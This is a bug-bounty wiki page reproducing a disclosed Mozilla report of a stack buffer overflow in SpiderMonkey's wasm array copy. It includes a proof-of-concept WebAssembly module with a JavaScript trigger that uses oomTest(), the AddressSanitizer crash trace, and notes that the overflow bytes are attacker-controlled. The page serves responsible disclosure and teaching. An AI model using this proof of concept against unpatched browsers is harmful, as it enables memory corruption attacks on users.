Stack buffer overflow in StableWasmArrayObjectElements inline array copy
A stack buffer overflow occurs in the StableWasmArrayObjectElements constructor when copying inline wasm array data, because std::copy uses byte arithmetic for the source range but treats pointers as T*, writing too many elements. An attacker can trigger this via WebAssembly stringref builtins under memory pressure, corrupting adjacent stack data with attacker-controlled values.
Originally disclosed on Mozilla
- Fixed in 14 days
- Paid in 20 days
- Disclosed after 14 days
Created attachment 9517753 poc-wrong-data-24.js
Hello team,
there is a possible memory corruption in js/src/wasm/WasmGcObject.h line 532 that allows WebAssembly content to trigger stack buffer overflows.
Vulnerability Details
Location: StableWasmArrayObjectElements<T> constructor (WasmGcObject.h:523-539)
The bug occurs when copying inline wasm array data. The std::copy call uses uint8_t* pointers for the source range but computes the endpoint in bytes while iterating as T*:
// WasmGcObject.h:532-534
std::copy(array->inlineStorage(), // uint8_t* source
array->inlineStorage() + array->numElements_ * sizeof(T), // byte arithmetic
ownElements_->begin()); // T* destination
This causes two bugs:
- Buffer overflow:
std::copytreats both pointers asT*, writingnumElements_ * sizeof(T)elements instead ofnumElements_elements—overflowing by a factor ofsizeof(T).
Demonstrated by poc-crash-asan.js.
let wat = `(module
(type $arr (array (mut i16)))
(func $fromCharCodeArray
(import "wasm:js-string" "fromCharCodeArray")
(param (ref null $arr) i32 i32)
(result (ref extern)))
(func (export "test") (result externref)
;; 50 elements → bug writes 100 uint16_t (exceeds ~49-capacity Vector)
(call $fromCharCodeArray
(array.new $arr (i32.const 0x41) (i32.const 50))
(i32.const 0)
(i32.const 50)))
)`;
let bytes = wasmTextToBinary(wat);
let mod = new WebAssembly.Module(bytes, {builtins: ['js-string']});
let inst = new WebAssembly.Instance(mod, {}).exports;
// Force NoGC string allocation to fail → triggers fallback with buggy copy
oomTest(
() => {
inst.test()
},
);
From ASAN:
=================================================================
==824196==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcde4e1e5f at pc 0x5626ec6e9661 bp 0x7ffcde4e1c60 sp 0x7ffcde4e1c58
WRITE of size 16 at 0x7ffcde4e1e5f thread T0
#0 0x5626ec6e9660 in unsigned short* std::__copy_move<false, false, std::random_access_iterator_tag>::__copy_m<unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*)
.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:380:18
#1 0x5626ec6e9660 in unsigned short* std::__copy_move_a2<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/
x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:471:14
#2 0x5626ec6e9660 in unsigned short* std::__copy_move_a1<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/
x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:506:14
#3 0x5626ec6e9660 in unsigned short* std::__copy_move_a<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x
86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:514:3
#4 0x5626ec6e9660 in unsigned short* std::copy<unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/
10/../../../../include/c++/10/bits/stl_algobase.h:568:14
#5 0x5626ec6e9660 in js::StableWasmArrayObjectElements<unsigned short>::StableWasmArrayObjectElements(JSContext*, JS::Handle<js::WasmArrayObject*>) /firefox/js/src/wasm/WasmG
cObject.h:532:7
#6 0x5626ec5ca5c2 in js::wasm::Instance::stringFromCharCodeArray(js::wasm::Instance*, void*, unsigned int, unsigned int) /firefox/js/src/wasm/WasmInstance.cpp:2051:45
#7 0x7f2aee880d62 (<unknown module>)
Address 0x7ffcde4e1e5f is located in stack of thread T0 at offset 351 in frame
#0 0x5626ec5ca1ef in js::wasm::Instance::stringFromCharCodeArray(js::wasm::Instance*, void*, unsigned int, unsigned int) /firefox/js/src/wasm/WasmInstance.cpp:2026
This frame has 3 object(s):
[32, 64) 'arrayRef' (line 2030)
[96, 120) 'array' (line 2035)
[160, 344) 'stableElements' (line 2051) <== Memory access at offset 351 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /firefox/js/src/wasm/WasmGcObject.h:532:7 in js::StableWasmArrayObjectElements<unsigned short>::StableWasmArrayObjectElements(JSC
ontext*, JS::Handle<js::WasmArrayObject*>)
- Wrong data source:
inlineStorage()points to theDataHeader, not the actual array elements ataddressOfInlineData().
// If used, the inline storage area will begin with the data header, followed
// by the actual array data.
Demonstrated by poc-wrong-data.js
The bug is reachable via Instance::stringFromCharCodeArray (WasmInstance.cpp:2051) whenever the initial NoGC allocation fails, which occurs during GC pressure or can be forced via oomTest().
Impact (attacker control)
- The overflow writes ~102 bytes past a
Vector<uint16_t>inline buffer. After the first 8 zero bytes (DataHeader), all subsequent bytes are attacker-controlled wasm array data. This enables corruption of adjacent stack data.
Reference to Existing Test
Bug 1956768 added a regression test (js/src/jit-test/tests/wasm/regress/bug1956768.js) that exercises this exact code path with oomTest(). However, the test doesn't detect the vulnerability because:
oomTest()verifies output only on successful runs (often the fast path)- Without ASan, the overflow into the
Vector's inline capacity is silent - The test only checks 4 chars, missing corruption beyond that range
Affected Versions Introduced in Bug 1956768. All builds with Wasm GC+stringref enabled are vulnerable.
Testing environment OS: Linux x64 Version: JavaScript-C145.0a1
Best regards, Igor Morgenstern, Aisle Research
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a type mismatch in std::copy: the source range is computed in bytes using uint8_t* but the destination is T*, so the copy writes numElements_ * sizeof(T) elements instead of numElements_.
Impact
The overflow writes about 102 bytes past a Vector<uint16_t> inline buffer, with all bytes after the first 8 zero bytes being attacker-controlled wasm array data, enabling corruption of adjacent stack data.
What the attacker needed
Wasm GC+stringref enabled; Ability to run WebAssembly with js-string builtin; Trigger NoGC allocation failure (e.g., oomTest)
How it was found
- Create a WebAssembly module that imports the wasm:js-string fromCharCodeArray builtin and calls it with an array of 50 i16 elements.
- Instantiate the module with the js-string builtin enabled.
- Force the NoGC string allocation to fail, for example by using oomTest(), so the fallback path with the buggy copy is taken.
- Call the exported test function to trigger the overflow.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A stack buffer overflow is when a program writes more data into a fixed-size memory area than it can hold, spilling into nearby memory. Here, a WebAssembly module can cause the browser engine to copy too many elements, overwriting other data on the stack. This could let an attacker corrupt memory and potentially run malicious code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.